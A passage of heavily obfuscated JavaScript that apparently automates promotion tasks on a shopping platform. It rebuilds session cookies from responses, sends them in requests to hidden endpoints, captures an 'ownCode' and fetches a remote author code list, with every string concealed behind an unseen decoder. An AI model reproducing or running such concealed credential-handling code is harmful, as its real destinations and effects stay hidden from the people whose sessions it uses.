_0x2606bf[_0x1bd5('‫b9')](_0xd36c61);},'vUxIZ':_0x2606bf[_0x1bd5('‫b5')],'hmYhL':_0x2606bf[_0x1bd5('‫b6')]};if(_0x2606bf[_0x1bd5('‮ba')](_0x2606bf[_0x1bd5('‮bb')],_0x2606bf[_0x1bd5('‮bb')])){try{if(_0x2606bf[_0x1bd5('‮bc')](_0x2606bf[_0x1bd5('‫bd')],_0x2606bf[_0x1bd5('‫be')])){if(_0x5bbc12){$[_0x1bd5('‮1b')](_0x5bbc12);}else{if(_0x4566b3){_0x4566b3=JSON[_0x1bd5('‫75')](_0x4566b3);if(_0x4566b3[_0x1bd5('‮bf')]){if(_0x2606bf[_0x1bd5('‮ba')](_0x2606bf[_0x1bd5('‫c0')],_0x2606bf[_0x1bd5('‫c0')])){switch(_0x1e9077){case _0x2606bf[_0x1bd5('‮c1')]:$[_0x1bd5('‮c2')]=_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‮c2')];$[_0x1bd5('‮c4')]=_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‮c4')];$[_0x1bd5('‫c5')]=_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‫c5')];console[_0x1bd5('‮1b')](_0x4566b3);break;case _0x2606bf[_0x1bd5('‫c6')]:break;case _0x2606bf[_0x1bd5('‫c7')]:if(!_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‫c8')]){if(_0x2606bf[_0x1bd5('‮c9')](_0x2606bf[_0x1bd5('‫ca')],_0x2606bf[_0x1bd5('‮cb')])){_0x401db8[_0x1bd5('‮cc')](_0x1067ec);}else{$[_0x1bd5('‮1b')](_0x1bd5('‫cd')+_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‫ce')]+_0x1bd5('‮cf'));$[_0x1bd5('‮1b')](_0x2606bf[_0x1bd5('‮d0')]);if(_0x2606bf[_0x1bd5('‫d1')]($[_0x1bd5('‫16')],0x1)){if(_0x2606bf[_0x1bd5('‮bc')](_0x2606bf[_0x1bd5('‮d2')],_0x2606bf[_0x1bd5('‮d3')])){ownCode=_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‮d4')][_0x2606bf[_0x1bd5('‫d5')]];console[_0x1bd5('‮1b')](ownCode);}else{message+=_0x1bd5('‮3e')+$[_0x1bd5('‫16')]+'】'+($[_0x1bd5('‫19')]||$[_0x1bd5('‮13')])+_0x1bd5('‫3f')+$[_0x1bd5('‫21')]+_0x1bd5('‫40');}}$[_0x1bd5('‫80')]=_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‮d4')][_0x2606bf[_0x1bd5('‫d5')]];}}else{if(_0x2606bf[_0x1bd5('‫d1')](_0x2606bf[_0x1bd5('‫d6')],_0x2606bf[_0x1bd5('‮d7')])){console[_0x1bd5('‮1b')](_0x5bbc12);}else{$[_0x1bd5('‮1b')](_0x2606bf[_0x1bd5('‫d8')]);}}break;case _0x2606bf[_0x1bd5('‫d9')]:$[_0x1bd5('‮89')]=_0x4566b3[_0x1bd5('‫c3')]['1'][_0x2606bf[_0x1bd5('‫da')]];$[_0x1bd5('‮db')]=_0x4566b3[_0x1bd5('‫c3')];break;case _0x2606bf[_0x1bd5('‮dc')]:console[_0x1bd5('‮1b')](_0x4566b3);if(_0x4566b3[_0x1bd5('‫c3')]){$[_0x1bd5('‫5b')]=_0x4566b3[_0x1bd5('‫c3')][_0x1bd5('‫5b')];}break;case _0x2606bf[_0x1bd5('‮dd')]:console[_0x1bd5('‮1b')](_0x4566b3);break;case _0x2606bf[_0x1bd5('‮de')]:if(_0x4566b3[_0x1bd5('‫c3')]){if(_0x2606bf[_0x1bd5('‮df')](_0x2606bf[_0x1bd5('‫e0')],_0x2606bf[_0x1bd5('‫e0')])){Host=process[_0x1bd5('‮e1')][_0x1bd5('‮e2')];}else{console[_0x1bd5('‮1b')](_0x4566b3[_0x1bd5('‫c3')]);}}break;case _0x2606bf[_0x1bd5('‮e3')]:if(_0x4566b3[_0x1bd5('‫c3')]){if(_0x2606bf[_0x1bd5('‮df')](_0x2606bf[_0x1bd5('‮e4')],_0x2606bf[_0x1bd5('‮e5')])){console[_0x1bd5('‮1b')](_0x4566b3[_0x1bd5('‫c3')]);}else{for(let _0x5dc28d of _0x213a61[_0x32e526[_0x1bd5('‮e6')]][_0x32e526[_0x1bd5('‫e7')]]){cookie=''+cookie+_0x5dc28d[_0x1bd5('‫e8')](';')[0x0]+';';}}}break;case _0x2606bf[_0x1bd5('‫e9')]:console[_0x1bd5('‮1b')](_0x4566b3);break;case _0x2606bf[_0x1bd5('‫ea')]:console[_0x1bd5('‮1b')](_0x4566b3);break;case _0x2606bf[_0x1bd5('‮eb')]:console[_0x1bd5('‮1b')](_0x4566b3[_0x1bd5('‫c3')]);break;case _0x2606bf[_0x1bd5('‫ec')]:$[_0x1bd5('‮1b')](JSON[_0x1bd5('‮ed')](_0x4566b3));break;case _0x2606bf[_0x1bd5('‮ee')]:$[_0x1bd5('‮1b')](JSON[_0x1bd5('‮ed')](_0x4566b3));break;case _0x2606bf[_0x1bd5('‫ef')]:$[_0x1bd5('‮1b')](JSON[_0x1bd5('‮ed')](_0x4566b3));break;default:break;}}else{if(res[_0x1bd5('‮bf')][_0x1bd5('‮f0')]){$[_0x1bd5('‮5a')]=res[_0x1bd5('‮bf')][_0x1bd5('‮f0')][0x0][_0x1bd5('‮f1')][_0x1bd5('‮2f')];}}}else{}}else{}}}else{for(let _0x167fb4 of _0x213a61[_0x401db8[_0x1bd5('‫f2')]][_0x401db8[_0x1bd5('‫f3')]]){cookie=''+cookie+_0x167fb4[_0x1bd5('‫e8')](';')[0x0]+';';}}}catch(_0x8a8094){if(_0x2606bf[_0x1bd5('‫f4')](_0x2606bf[_0x1bd5('‮f5')],_0x2606bf[_0x1bd5('‫f6')])){$[_0x1bd5('‮1b')](_0x8a8094);}else{cookie=''+cookie+ck[_0x1bd5('‫e8')](';')[0x0]+';';}}finally{if(_0x2606bf[_0x1bd5('‫f7')](_0x2606bf[_0x1bd5('‫f8')],_0x2606bf[_0x1bd5('‫f9')])){cookie=''+cookie+ck[_0x1bd5('‫e8')](';')[0x0]+';';}else{_0x2606bf[_0x1bd5('‫b9')](_0x1067ec);}}}else{for(let _0x1837eb of _0x213a61[_0x401db8[_0x1bd5('‫f2')]][_0x401db8[_0x1bd5('‫f3')]]){cookie=''+cookie+_0x1837eb[_0x1bd5('‫e8')](';')[0x0]+';';}}});});}function taskaccessLog(_0x5d8252,_0x29a519,_0xdae06a=0x0){var _0x2f930e={'uYPbB':_0x1bd5('‫9e'),'EqHPZ':function(_0x348607,_0x3f5f12){return _0x348607===_0x3f5f12;},'CPgkG':_0x1bd5('‫a1'),'ipsOs':_0x1bd5('‫95'),'UMuzY':_0x1bd5('‫96'),'hJnKr':function(_0x260b27,_0x3385c5){return _0x260b27!==_0x3385c5;},'qvdGt':_0x1bd5('‫fa'),'HcOEj':function(_0xd8976,_0x26465d){return _0xd8976+_0x26465d;},'ZLHqc':function(_0x11d5c9,_0x4072ee){return _0x11d5c9+_0x4072ee;},'habXn':_0x1bd5('‫fb'),'SIJtH':_0x1bd5('‮fc'),'rPkWh':function(_0x5676c3){return _0x5676c3();},'JOnwY':function(_0x26cd5a,_0xc87a48,_0x575030,_0x533fbe){return _0x26cd5a(_0xc87a48,_0x575030,_0x533fbe);}};return new Promise(_0x293c87=>{$[_0x1bd5('‫b7')](_0x2f930e[_0x1bd5('‮fd')](taskUrl,_0x5d8252,_0x29a519,_0xdae06a),async(_0x206d82,_0x375c03,_0x16c1c3)=>{var _0x42bd72={'YXJEo':_0x2f930e[_0x1bd5('‮fe')],'JAHdB':function(_0x489789,_0x2ba953){return _0x2f930e[_0x1bd5('‫ff')](_0x489789,_0x2ba953);},'EEWBZ':_0x2f930e[_0x1bd5('‮100')]};try{if(_0x206d82){$[_0x1bd5('‮1b')](_0x206d82);}else{if(_0x375c03[_0x2f930e[_0x1bd5('‮101')]][_0x2f930e[_0x1bd5('‫102')]]){if(_0x2f930e[_0x1bd5('‮103')](_0x2f930e[_0x1bd5('‮104')],_0x2f930e[_0x1bd5('‮104')])){$[_0x1bd5('‮1b')](_0x1bd5('‫cd')+_0x16c1c3[_0x1bd5('‫c3')][_0x1bd5('‫ce')]+_0x1bd5('‮cf'));$[_0x1bd5('‮1b')](_0x42bd72[_0x1bd5('‮105')]);if(_0x42bd72[_0x1bd5('‫106')]($[_0x1bd5('‫16')],0x1)){ownCode=_0x16c1c3[_0x1bd5('‫c3')][_0x1bd5('‮d4')][_0x42bd72[_0x1bd5('‮107')]];console[_0x1bd5('‮1b')](ownCode);}$[_0x1bd5('‫80')]=_0x16c1c3[_0x1bd5('‫c3')][_0x1bd5('‮d4')][_0x42bd72[_0x1bd5('‮107')]];}else{cookie=originCookie+';';for(let _0x23efa1 of _0x375c03[_0x2f930e[_0x1bd5('‮101')]][_0x2f930e[_0x1bd5('‫102')]]){lz_cookie[_0x23efa1[_0x1bd5('‫e8')](';')[0x0][_0x1bd5('‫108')](0x0,_0x23efa1[_0x1bd5('‫e8')](';')[0x0][_0x1bd5('‫109')]('='))]=_0x23efa1[_0x1bd5('‫e8')](';')[0x0][_0x1bd5('‫108')](_0x2f930e[_0x1bd5('‮10a')](_0x23efa1[_0x1bd5('‫e8')](';')[0x0][_0x1bd5('‫109')]('='),0x1));}for(const _0x4fb581 of Object[_0x1bd5('‫10b')](lz_cookie)){cookie+=_0x2f930e[_0x1bd5('‮10a')](_0x2f930e[_0x1bd5('‮10a')](_0x2f930e[_0x1bd5('‫10c')](_0x4fb581,'='),lz_cookie[_0x4fb581]),';');}}}}}catch(_0x329a90){console[_0x1bd5('‮1b')](_0x329a90);}finally{if(_0x2f930e[_0x1bd5('‫ff')](_0x2f930e[_0x1bd5('‮10d')],_0x2f930e[_0x1bd5('‫10e')])){if(_0x206d82){console[_0x1bd5('‮1b')](''+JSON[_0x1bd5('‮ed')](_0x206d82));console[_0x1bd5('‮1b')]($[_0x1bd5('‮c')]+_0x1bd5('‫10f'));}else{}}else{_0x2f930e[_0x1bd5('‮110')](_0x293c87);}}});});}function getAuthorCodeList(_0x30059d){var _0x30155b={'OgEPn':function(_0x4a2fe3,_0x4a27a6){return _0x4a2fe3===_0x4a27a6;},'CUBlw':_0x1bd5('‫111'),'isgbP':_0x1bd5('‫112'),'sKMQW':function(_0xb28e66,_0x3b4a01){return _0xb28e66!==_0x3b4a01;},'scBOu':_0x1bd5('‫113'),'fpLuC':_0x1bd5('‫114'),'xOugr':function(_0x5eeb9e,_0x2eeb71){return _0x5eeb9e(_0x2eeb71);},'wXjbz':_0x1bd5('‫115')};return new Promise(_0x2a53b3=>{var _0x488611={'riwGY':function(_0x2a3342,_0x1b4b25){return _0x30155b[_0x1bd5('‫116')](_0x2a3342,_0x1b4b25);},'NbaXO':_0x30155b[_0x1bd5('‮117')],'PJeWU':_0x30155b[_0x1bd5('‮118')],'qJQzd':function(_0x4ace12,_0xc4c687){return _0x30155b[_0x1bd5('‮119')](_0x4ace12,_0xc4c687);},'PFmnF':_0x30155b[_0x1bd5('‫11a')],'GPAhH':_0x30155b[_0x1bd5('‮11b')],'TdtRx':function(_0x78e867,_0x1fb1d8){return _0x30155b[_0x1bd5('‫11c')](_0x78e867,_0x1fb1d8);}};const _0x19447a={'url':_0x30059d+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0x30155b[_0x1bd5('‫11d')]}};$[_0x1bd5('‮11e')](_0x19447a,async(_0x2cca36,_0x27e626,_0x5d922a)=>{try{if(_0x2cca36){if(_0x488611[_0x1bd5('‮11f')](_0x488611[_0x1bd5('‫120')],_0x488611[_0x1bd5('‫121')])){console[_0x1bd5('‮1b')](res);$[_0x1bd5('‫122')]=res[_0x1bd5('‫123')];}else{$[_0x1bd5('‫a')]=![];}}else{if(_0x488611[_0x1bd5('‫124')](_0x488611[_0x1bd5('‮125')],_0x488611[_0x1bd5('‮126')])){if(_0x5d922a)_0x5d922a=JSON[_0x1bd5('‫75')](_0x5d922a);$[_0x1bd5('‫a')]=!![];}else{$[_0x1bd5('‮127')](e);}}}catch(_0x21073b){$[_0x1bd5('‮127')](_0x21073b,_0x27e626);_0x5d922a=null;}finally{_0x488611[_0x1bd5('‮128')](_0x2a53b3,_0x5d922a);}});});}function taskUrl(_0x5b9e70,_0x16be0e,_0x19d7e3){var _0xac6588={'dJkgE':_0x1bd5('‫129'),'tQxeB':_0x1bd5('‫12a'),'vaNSr':_0x1bd5('‫12b'),'vMLEE':_0x1bd5('‫12c'),'cTTjz':_0x1bd5('‮12d'),'bhEJh':_0x1bd5('‮12e'),'OcVKG':_0x1bd5('‮12f'),'ouuAk':_0x1bd5('‫130')};return{'url':_0x19d7e3?_0x1bd5('‮131')+_0x5b9e70:_0x1bd5('‫132')+_0x5b9e70,'headers':{'Host':_0xac6588[_0x1bd5('‮133')],'Accept':_0xac6588[_0x1bd5('‫134')],'X-Requested-With':_0xac6588[_0x1bd5('‮135')],'Accept-Language':_0xac6588[_0x1bd5('‫136')],'Accept-Encoding':_0xac6588[_0x1bd5('‮137')],'Content-Type':_0xac6588[_0x1bd5('‫138')],'Origin':_0xac6588[_0x1bd5('‮139')],'User-Agent':_0x1bd5('‮13a')+$[_0x1bd5('‫25')]+_0x1bd5('‫13b')+$[_0x1bd5('‮22')]+_0x1bd5('‫13c'),'Connection':_0xac6588[_0x1bd5('‫13d')],'Referer':$[_0x1bd5('‫33')],'Cookie':cookie},'body':_0x16be0e};}function getMyPing(){var _0x26f9fd={'qdXzm':_0x1bd5('‫a1'),'dMzKm':function(_0x5ab411,_0x23913a){return _0x5ab411|_0x23913a;},'UAlTY':function(_0x173dac,_0x37272a){return _0x173dac*_0x37272a;},'cJAUF':function(_0x2e5832,_0x1affc7){return _0x2e5832==_0x1affc7;},'ATLak':function(_0x17be3a,_0x1461c5){return _0x17be3a&_0x1461c5;},'ZgDSF':function(_0x43d230,_0x1d4920){return _0x43d230!==_0x1d4920;},'SvOyg':_0x1bd5('‮13e'),'tqkia':_0x1bd5('‮13f'),'NrkNd':_0x1bd5('‫95'),'JlNfJ':_0x1bd5('‫96'),'VrIjC':function(_0x4a87be,_0x547227){return _0x4a87be===_0x547227;},'azpkb':_0x1bd5('‮140'),'LTxcp':_0x1bd5('‫141'),'PONwa':_0x1bd5('‮142'),'FITFq':_0x1bd5('‮143'),'gvajd':_0x1bd5('‫144'),'riMUR':function(_0x2a4c0a,_0x525a5e){return _0x2a4c0a!==_0x525a5e;},'vnErf':_0x1bd5('‫145'),'lklNw':function(_0x3fe7c6,_0x45c6cb){return _0x3fe7c6!==_0x45c6cb;},'LsKNk':_0x1bd5('‮146'),'kmVWI':function(_0x2e452f,_0x455af4){return _0x2e452f!==_0x455af4;},'AwEge':_0x1bd5('‮147'),'ATwnQ':_0x1bd5('‮148'),'TDVQU':_0x1bd5('‮149'),'oKWfu':function(_0x57aa90){return _0x57aa90();},'EGvoN':function(_0x5f4643,_0x2fbd9c){return _0x5f4643(_0x2fbd9c);},'ETXmB':function(_0x31ac61,_0x4cdcd6){return _0x31ac61!==_0x4cdcd6;},'ZWiva':_0x1bd5('‮14a'),'mloeK':_0x1bd5('‫14b'),'hGXDf':_0x1bd5('‫129'),'acWBO':_0x1bd5('‫12a'),'UVmut':_0x1bd5('‫12b'),'wFfLS':_0x1bd5('‫12c'),'rKEGN':_0x1bd5('‮12d'),'FVyzY':_0x1bd5('‮12e'),'SEPLr':_0x1bd5('‮12f'),'zJtsn':_0x1bd5('‫130')};let _0x8ea3cb={'url':_0x1bd5('‮14c'),'headers':{'Host':_0x26f9fd[_0x1bd5('‫14d')],'Accept':_0x26f9fd[_0x1bd5('‫14e')],'X-Requested-With':_0x26f9fd[_0x1bd5('‫14f')],'Accept-Language':_0x26f9fd[_0x1bd5('‮150')],'Accept-Encoding':_0x26f9fd[_0x1bd5('‮151')],'Content-Type':_0x26f9fd[_0x1bd5('‫152')],'Origin':_0x26f9fd[_0x1bd5('‫153')],'User-Agent':_0x1bd5('‮13a')+$[_0x1bd5('‫25')]+_0x1bd5('‫13b')+$[_0x1bd5('‮22')]+_0x1bd5('‫13c'),'Connection':_0x26f9fd[_0x1bd5('‮154')],'Referer':$[_0x1bd5('‫33')],'Cookie':cookie},'body':_0x1bd5('‫155')+$[_0x1bd5('‮31')]+_0x1bd5('‫156')+$[_0x1bd5('‮59')]+_0x1bd5('‫157')};return new Promise(_0xded2f9=>{var _0x4dd642={'aWZFL':function(_0x451743,_0x2fb912){return _0x26f9fd[_0x1bd5('‮158')](_0x451743,_0x2fb912);},'JtFfu':_0x26f9fd[_0x1bd5('‮159')]};if(_0x26f9fd[_0x1bd5('‮15a')](_0x26f9fd[_0x1bd5('‮15b')],_0x26f9fd[_0x1bd5('‮15c')])){$[_0x1bd5('‫b7')](_0x8ea3cb,(_0x3b1c1d,_0x45cb67,_0x28289e)=>{var _0x269a98={'UyRjM':_0x26f9fd[_0x1bd5('‫15d')],'oCFRl':function(_0xb6bc0a,_0x4d7ac4){return _0x26f9fd[_0x1bd5('‫15e')](_0xb6bc0a,_0x4d7ac4);},'gmIyl':function(_0xfb43bd,_0xd410c5){return _0x26f9fd[_0x1bd5('‮15f')](_0xfb43bd,_0xd410c5);},'OXNcC':function(_0x250c8d,_0x4bfbbd){return _0x26f9fd[_0x1bd5('‮160')](_0x250c8d,_0x4bfbbd);},'guHSx':function(_0x1c42d9,_0x4104fd){return _0x26f9fd[_0x1bd5('‮161')](_0x1c42d9,_0x4104fd);}};try{if(_0x3b1c1d){$[_0x1bd5('‮1b')](_0x3b1c1d);}else{if(_0x26f9fd[_0x1bd5('‫162')](_0x26f9fd[_0x1bd5('‮163')],_0x26f9fd[_0x1bd5('‮164')])){if(_0x45cb67[_0x26f9fd[_0x1bd5('‫165')]][_0x26f9fd[_0x1bd5('‫166')]]){cookie=''+originCookie;if($[_0x1bd5('‮43')]()){if(_0x26f9fd[_0x1bd5('‮167')](_0x26f9fd[_0x1bd5('‫168')],_0x26f9fd[_0x1bd5('‫168')])){for(let _0x776582 of _0x45cb67[_0x26f9fd[_0x1bd5('‫165')]][_0x26f9fd[_0x1bd5('‫166')]]){if(_0x26f9fd[_0x1bd5('‫162')](_0x26f9fd[_0x1bd5('‫169')],_0x26f9fd[_0x1bd5('‫169')])){ownCode=_0x28289e[_0x1bd5('‫c3')][_0x1bd5('‮d4')][_0x269a98[_0x1bd5('‮16a')]];console[_0x1bd5('‮1b')](ownCode);}else{cookie=''+cookie+_0x776582[_0x1bd5('‫e8')](';')[0x0]+';';}}}else{_0x4dd642[_0x1bd5('‫16b')](_0xded2f9,_0x28289e);}}else{if(_0x26f9fd[_0x1bd5('‮167')](_0x26f9fd[_0x1bd5('‮16c')],_0x26f9fd[_0x1bd5('‫16d')])){$[_0x1bd5('‫48')]();}else{for(let _0x2a6285 of _0x45cb67[_0x26f9fd[_0x1bd5('‫165')]][_0x26f9fd[_0x1bd5('‮16e')]][_0x1bd5('‫e8')](',')){cookie=''+cookie+_0x2a6285[_0x1bd5('‫e8')](';')[0x0]+';';}}}}if(_0x45cb67[_0x26f9fd[_0x1bd5('‫165')]][_0x26f9fd[_0x1bd5('‮16e')]]){if(_0x26f9fd[_0x1bd5('‫16f')](_0x26f9fd[_0x1bd5('‮170')],_0x26f9fd[_0x1bd5('‮170')])){return format[_0x1bd5('‮171')](/[xy]/g,function(_0x15d8ff){var _0x2a70e5=_0x269a98[_0x1bd5('‮172')](_0x269a98[_0x1bd5('‮173')](Math[_0x1bd5('‫174')](),0x10),0x0),_0x5e6895=_0x269a98[_0x1bd5('‫175')](_0x15d8ff,'x')?_0x2a70e5:_0x269a98[_0x1bd5('‮172')](_0x269a98[_0x1bd5('‫176')](_0x2a70e5,0x3),0x8);if(UpperCase){uuid=_0x5e6895[_0x1bd5('‮177')](0x24)[_0x1bd5('‫178')]();}else{uuid=_0x5e6895[_0x1bd5('‮177')](0x24);}return uuid;});}else{cookie=''+originCookie;if($[_0x1bd5('‮43')]()){for(let _0x5cead5 of _0x45cb67[_0x26f9fd[_0x1bd5('‫165')]][_0x26f9fd[_0x1bd5('‫166')]]){cookie=''+cookie+_0x5cead5[_0x1bd5('‫e8')](';')[0x0]+';';}}else{for(let _0x5ecb5b of _0x45cb67[_0x26f9fd[_0x1bd5('‫165')]][_0x26f9fd[_0x1bd5('‮16e')]][_0x1bd5('‫e8')](',')){if(_0x26f9fd[_0x1bd5('‮179')](_0x26f9fd[_0x1bd5('‮17a')],_0x26f9fd[_0x1bd5('‮17a')])){$[_0x1bd5('‮1b')](_0x3b1c1d);}else{cookie=''+cookie+_0x5ecb5b[_0x1bd5('‫e8')](';')[0x0]+';';}}}}}if(_0x28289e){_0x28289e=JSON[_0x1bd5('‫75')](_0x28289e);if(_0x28289e[_0x1bd5('‮bf')]){$[_0x1bd5('‮1b')](_0x1bd5('‮17b')+_0x28289e[_0x1bd5('‫c3')][_0x1bd5('‮17c')]);$[_0x1bd5('‮73')]=_0x28289e[_0x1bd5('‫c3')][_0x1bd5('‮17c')];$[_0x1bd5('‮39')]=_0x28289e[_0x1bd5('‫c3')][_0x1bd5('‮39')];cookie=cookie+_0x1bd5('‫17d')+_0x28289e[_0x1bd5('‫c3')][_0x1bd5('‮39')];}else{$[_0x1bd5('‮1b')](_0x28289e[_0x1bd5('‮17e')]);}}else{if(_0x26f9fd[_0x1bd5('‮17f')](_0x26f9fd[_0x1bd5('‫180')],_0x26f9fd[_0x1bd5('‮181')])){$[_0x1bd5('‮1b')](_0x26f9fd[_0x1bd5('‮159')]);}else{Host=process[_0x1bd5('‮e1')][_0x1bd5('‮e2')];}}}else{console[_0x1bd5('‮1b')](error);}}}catch(_0x19b01a){$[_0x1bd5('‮1b')](_0x19b01a);}finally{_0x26f9fd[_0x1bd5('‫182')](_0xded2f9);}});}else{$[_0x1bd5('‮1b')](_0x4dd642[_0x1bd5('‫183')]);}});}function getFirstLZCK(){var _0x323019={'BywfR':_0x1bd5('‫a4'),'PkPcD':function(_0x2a5704,_0x5113b9){return _0x2a5704(_0x5113b9);},'fJwNo':_0x1bd5('‫95'),'JGKoi':_0x1bd5('‫96'),'lIHBv':function(_0x60f51c,_0x12022e){return _0x60f51c===_0x12022e;},'eEaHQ':_0x1bd5('‫184'),'vNtyl':_0x1bd5('‫185'),'ufcst':function(_0x1f1b0a,_0x72b0c6){return _0x1f1b0a===_0x72b0c6;},'YheeH':_0x1bd5('‮186'),'OnxLq':_0x1bd5('‮187'),'PAjpZ':_0x1bd5('‫188'),'MlJfE':_0x1bd5('‫144'),'kGqEa':function(_0x39599e,_0x5e4c61){return _0x39599e===_0x5e4c61;},'LMNyH':_0x1bd5('‮189'),'wTfGl':function(_0x2f675e){return _0x2f675e();},'VPzmy':function(_0x27ea61,_0x4a8dd4){return _0x27ea61!==_0x4a8dd4;},'RXfYO':_0x1bd5('‫18a'),'mueDb':_0x1bd5('‫18b'),'WFkbF':_0x1bd5('‫18c'),'davLp':_0x1bd5('‮18d')};return new Promise(_0x8e5e26=>{if(_0x323019[_0x1bd5('‮18e')](_0x323019[_0x1bd5('‫18f')],_0x323019[_0x1bd5('‫18f')])){uuid=v[_0x1bd5('‮177')](0x24);}else{$[_0x1bd5('‮11e')]({'url':$[_0x1bd5('‫33')],'headers':{'user-agent':$[_0x1bd5('‮43')]()?process[_0x1bd5('‮e1')][_0x1bd5('‮190')]?process[_0x1bd5('‮e1')][_0x1bd5('‮190')]:_0x323019[_0x1bd5('‫191')](require,_0x323019[_0x1bd5('‫192')])[_0x1bd5('‫193')]:$[_0x1bd5('‮194')](_0x323019[_0x1bd5('‫195')])?$[_0x1bd5('‮194')](_0x323019[_0x1bd5('‫195')]):_0x323019[_0x1bd5('‮196')]}},(_0x22e67d,_0x4003d5,_0xb20c46)=>{var _0x2846a2={'kEctl':_0x323019[_0x1bd5('‮197')],'TDKef':function(_0x4d8683,_0x336596){return _0x323019[_0x1bd5('‫191')](_0x4d8683,_0x336596);}};try{if(_0x22e67d){console[_0x1bd5('‮1b')](_0x22e67d);}else{if(_0x4003d5[_0x323019[_0x1bd5('‮198')]][_0x323019[_0x1bd5('‮199')]]){if(_0x323019[_0x1bd5('‮19a')](_0x323019[_0x1bd5('‮19b')],_0x323019[_0x1bd5('‫19c')])){console[_0x1bd5('‮1b')](error);}else{cookie=''+originCookie;if($[_0x1bd5('‮43')]()){if(_0x323019[_0x1bd5('‫19d')](_0x323019[_0x1bd5('‫19e')],_0x323019[_0x1bd5('‫19e')])){for(let _0x3ede23 of _0x4003d5[_0x323019[_0x1bd5('‮198')]][_0x323019[_0x1bd5('‮199')]]){if(_0x323019[_0x1bd5('‫19d')](_0x323019[_0x1bd5('‮19f')],_0x323019[_0x1bd5('‮1a0')])){$[_0x1bd5('‮1b')](_0x2846a2[_0x1bd5('‮1a1')]);}else{cookie=''+cookie+_0x3ede23[_0x1bd5('‫e8')](';')[0x0]+';';}}}else{console[_0x1bd5('‮1b')](error);}}else{for(let _0x26808f of _0x4003d5[_0x323019[_0x1bd5('‮198')]][_0x323019[_0x1bd5('‮1a2')]][_0x1bd5('‫e8')](',')){cookie=''+cookie+_0x26808f[_0x1bd5('‫e8')](';')[0x0]+';';}}}}if(_0x4003d5[_0x323019[_0x1bd5('‮198')]][_0x323019[_0x1bd5('‮1a2')]]){cookie=''+originCookie;if($[_0x1bd5('‮43')]()){for(let _0x3f0dff of _0x4003d5[_0x323019[_0x1bd5('‮198')]][_0x323019[_0x1bd5('‮199')]]){cookie=''+cookie+_0x3f0dff[_0x1bd5('‫e8')](';')[0x0]+';';}}else{if(_0x323019[_0x1bd5('‮1a3')](_0x323019[_0x1bd5('‮1a4')],_0x323019[_0x1bd5('‮1a4')])){for(let _0x51ef00 of _0x4003d5[_0x323019[_0x1bd5('‮198')]][_0x323019[_0x1bd5('‮1a2')]][_0x1bd5('‫e8')](',')){cookie=''+cookie+_0x51ef00[_0x1bd5('‫e8')](';')[0x0]+';';}}else{_0x2846a2[_0x1bd5('‮1a5')](_0x8e5e26,_0xb20c46);}}}$[_0x1bd5('‫1a6')]=cookie;}}catch(_0x2169e3){console[_0x1bd5('‮1b')](_0x2169e3);}finally{_0x323019[_0x1bd5('‮1a7')](_0x8e5e26);}});}});}function random(_0x29b6b8,_0x423e00){var _0x27e91b={'KHSoP':function(_0x187bfa,_0x5c640f){return _0x187bfa+_0x5c640f;},'NxKlK':function(_0x1f4152,_0x1d1f27){return _0x1f4152*_0x1d1f27;},'smouI':function(_0x2ca31d,_0x342891){return _0x2ca31d-_0x342891;}};return _0x27e91b[_0x1bd5('‮1a8')](Math[_0x1bd5('‮1a9')](_0x27e91b[_0x1bd5('‮1aa')](Math[_0x1bd5('‫174')](),_0x27e91b[_0x1bd5('‮1ab')](_0x423e00,_0x29b6b8))),_0x29b6b8);}function getUUID(_0x1f3bfe=_0x1bd5('‫5'),_0x3e2b8f=0x0){var _0x99e678={'NNTvJ':function(_0x4f5501,_0x2db9ce){return _0x4f5501|_0x2db9ce;},'bBZct':function(_0xe10c79,_0x415d53){return _0xe10c79*_0x415d53;},'votzD':function(_0x1bcfa4,_0x4cf0da){return _0x1bcfa4==_0x4cf0da;},'dxITR':function(_0x2a8d07,_0xddbbc8){return _0x2a8d07|_0xddbbc8;},'DfWjm':function(_0x15efeb,_0x2f74e5){return _0x15efeb&_0x2f74e5;}};return _0x1f3bfe[_0x1bd5('‮171')](/[xy]/g,function(_0x3815ec){var _0x521280=_0x99e678[_0x1bd5('‫1ac')](_0x99e678[_0x1bd5('‮1ad')](Math[_0x1bd5('‫174')](),0x10),0x0),_0x5d85d0=_0x99e678[_0x1bd5('‮1ae')](_0x3815ec,'x')?_0x521280:_0x99e678[_0x1bd5('‫1af')](_0x99e678[_0x1bd5('‮1b0')](_0x521280,0x3),0x8);if(_0x3e2b8f){uuid=_0x5d85d0[_0x1bd5('‮177')](0x24)[_0x1bd5('‫178')]();}else{uuid=_0x5d85d0[_0x1bd5('‮177')](0x24);}return uuid;});}function checkCookie(){var _0x12fb01={'UgDVI':function(_0x54db5b,_0x1b3962){return _0x54db5b!==_0x1b3962;},'FYEif':_0x1bd5('‫1b1'),'hXbBX':_0x1bd5('‫1b2'),'QQNAz':_0x1bd5('‫1b3'),'bFBVZ':function(_0x4ccec5,_0x5ab65a){return _0x4ccec5===_0x5ab65a;},'ahYXn':_0x1bd5('‮1b4'),'OPAcV':function(_0x4585bd,_0xd50a61){return _0x4585bd===_0xd50a61;},'MNtLP':_0x1bd5('‫1b5'),'NZGxj':_0x1bd5('‫1b6'),'DLWyG':_0x1bd5('‫1b7'),'HxXih':_0x1bd5('‮149'),'TEjMp':function(_0x383a67){return _0x383a67();},'RqWhH':_0x1bd5('‮1b8'),'XuxDt':_0x1bd5('‫1b9'),'OwBNr':_0x1bd5('‫1ba'),'tVllf':_0x1bd5('‫1bb'),'CYUMm':_0x1bd5('‮1bc'),'beFhn':_0x1bd5('‫130'),'SKnhq':_0x1bd5('‫1bd'),'Pnwqn':_0x1bd5('‫12c'),'VIgFz':_0x1bd5('‮1be'),'nmLOj':_0x1bd5('‮12d')};const _0x6bfb9a={'url':_0x12fb01[_0x1bd5('‫1bf')],'headers':{'Host':_0x12fb01[_0x1bd5('‫1c0')],'Accept':_0x12fb01[_0x1bd5('‫1c1')],'Connection':_0x12fb01[_0x1bd5('‮1c2')],'Cookie':cookie,'User-Agent':_0x12fb01[_0x1bd5('‮1c3')],'Accept-Language':_0x12fb01[_0x1bd5('‫1c4')],'Referer':_0x12fb01[_0x1bd5('‮1c5')],'Accept-Encoding':_0x12fb01[_0x1bd5('‮1c6')]}};return new 